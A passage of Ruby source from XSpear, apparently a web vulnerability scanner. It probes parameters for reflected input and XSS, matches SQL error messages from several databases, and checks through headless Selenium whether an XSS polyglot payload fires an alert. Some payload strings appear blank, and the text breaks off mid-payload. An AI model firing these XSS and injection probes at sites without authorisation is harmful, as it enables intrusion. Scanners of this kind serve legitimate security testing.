require "XSpear/version" require "XSpear/banner" require "XSpear/log" require "XSpear/XSpearRepoter" require 'net/http' require 'uri' require 'optparse' require 'colorize' require "selenium-webdriver" module XSpear class Error < StandardError; end end class XspearScan def initialize(url, data, headers, params, thread, output, verbose) @url = url @data = data @headers = headers if params.nil? @params = params else @params = params.split(",") end @thread = thread @output = output @verbose = verbose @report = XspearRepoter.new @url, Time.now end class ScanCallbackFunc def initialize(url, method, query, response) @url = url @method = method @query = query @response = response # self.run end def run # Override callback function.. # return type: Array(state, message) # + state: i(INFO), v(VULN), s(SYSTEM) # + message: your message # e.g # return "v", "reflected xss with #{query}" end end class CallbackStringMatch < ScanCallbackFunc def run if @response.body.include? @query [true, "reflected #{@query}"] else [false, "not reflected #{@query}"] end end end class CallbackErrorPatternMatch < ScanCallbackFunc def run info = "Found" if @response.body.to_s.match(/(SQL syntax.*MySQL|Warning.*mysql_.*|MySqlException \(0x|valid MySQL result|check the manual that corresponds to your (MySQL|MariaDB) server version|MySqlClient\.|com\.mysql\.jdbc\.exceptions)/i) info = info + "MYSQL " end if @response.body.to_s.match(/(Driver.* SQL[\-\_\ ]*Server|OLE DB.* SQL Server|\bSQL Server.*Driver|Warning.*mssql_.*|\bSQL Server.*[0-9a-fA-F]{8}|[\s\S]Exception.*\WSystem\.Data\.SqlClient\.|[\s\S]Exception.*\WRoadhouse\.Cms\.|Microsoft SQL Native Client.*[0-9a-fA-F]{8})/i) info = info + "MSSQL " end if @response.body.to_s.match(/(\bORA-\d{5}|Oracle error|Oracle.*Driver|Warning.*\Woci_.*|Warning.*\Wora_.*)/i) info = info + "Oracle " end if @response.body.to_s.match(/(PostgreSQL.*ERROR|Warning.*\Wpg_.*|valid PostgreSQL result|Npgsql\.|PG::SyntaxError:|org\.postgresql\.util\.PSQLException|ERROR:\s\ssyntax error at or near)/i) info = info + "Postgres " end if @response.body.to_s.match(/(Microsoft Access (\d+ )?Driver|JET Database Engine|Access Database Engine|ODBC Microsoft Access)/i) info = info + "MSAccess " end if @response.body.to_s.match(/(SQLite\/JDBCDriver|SQLite.Exception|System.Data.SQLite.SQLiteException|Warning.*sqlite_.*|Warning.*SQLite3::|\[SQLITE_ERROR\])/i) info = info + "SQLite " end if @response.body.to_s.match(/(Warning.*sybase.*|Sybase message|Sybase.*Server message.*|SybSQLException|com\.sybase\.jdbc)/i) info = info + "SyBase " end if @response.body.to_s.match(/(Warning.*ingres_|Ingres SQLSTATE|Ingres\W.*Driver)/i) info = info + "Ingress " end if info.length > 5 [true, "#{@info}"] else [false, "#{@info}"] end end end class CallbackXSSSelenium < ScanCallbackFunc def run begin options = Selenium::WebDriver::Firefox::Options.new(args: ['-headless']) driver = Selenium::WebDriver.for(:firefox, options: options) if @method == "GET" begin driver.get(@url+"?"+@query) alert = driver.switch_to().alert() if alert.text.to_s == "45" driver.quit return [true, "found alert/prompt/confirm (45) in selenium!! #{@query}\n => "] else driver.quit return [true, "found alert/prompt/confirm event in selenium #{@query}\n =>"] end rescue Selenium::WebDriver::Error::UnexpectedAlertOpenError => e driver.quit return [true, "found alert/prompt/confirm error base in selenium #{@query}\n =>"] rescue => e driver.quit return [false, "not found alert/prompt/confirm event #{@query}\n =>"] end end rescue => e log('s', "Error Selenium : #{e}") end end end def run r = [] log('s', 'creating a test query.') r.push makeQueryPattern('d', 'XsPeaR"', 'XsPeaR"', 'i', "Found SQL Error Pattern", CallbackErrorPatternMatch) r.push makeQueryPattern('r', 'rEfe6', 'rEfe6', 'i', 'reflected parameter', CallbackStringMatch) r.push makeQueryPattern('f', 'XsPeaR>', 'XsPeaR>', 'i', "not filtered "+">".blue, CallbackStringMatch) r.push makeQueryPattern('f', '', '', 'h', "reflected "+"XSS Code".red, CallbackStringMatch) r.push makeQueryPattern('x', '', '', 'h', "reflected "+"XSS Code".red, CallbackStringMatch) r.push makeQueryPattern('x', '', '', 'h', "reflected "+"XSS Code".red, CallbackStringMatch) r.push makeQueryPattern('x', '">', '', 'v', "injected "+"".red, CallbackXSSSelenium) r.push makeQueryPattern('x', '\'">', '\'">', 'v', "injected "+"".red, CallbackXSSSelenium) r.push makeQueryPattern('x', 'jaVasCript:/*-/*`/*\`/*\'/*"/**/(/* */oNcliCk=alert(45) )//%0D%0A%0d%0a//\x3csVg/\x3e', '\'">', 'v', "running "+"XSS Polyglot payload".red, CallbackXSSSelenium) r.push makeQueryPattern('x', 'javascript:"/*`/*\"/*\' /*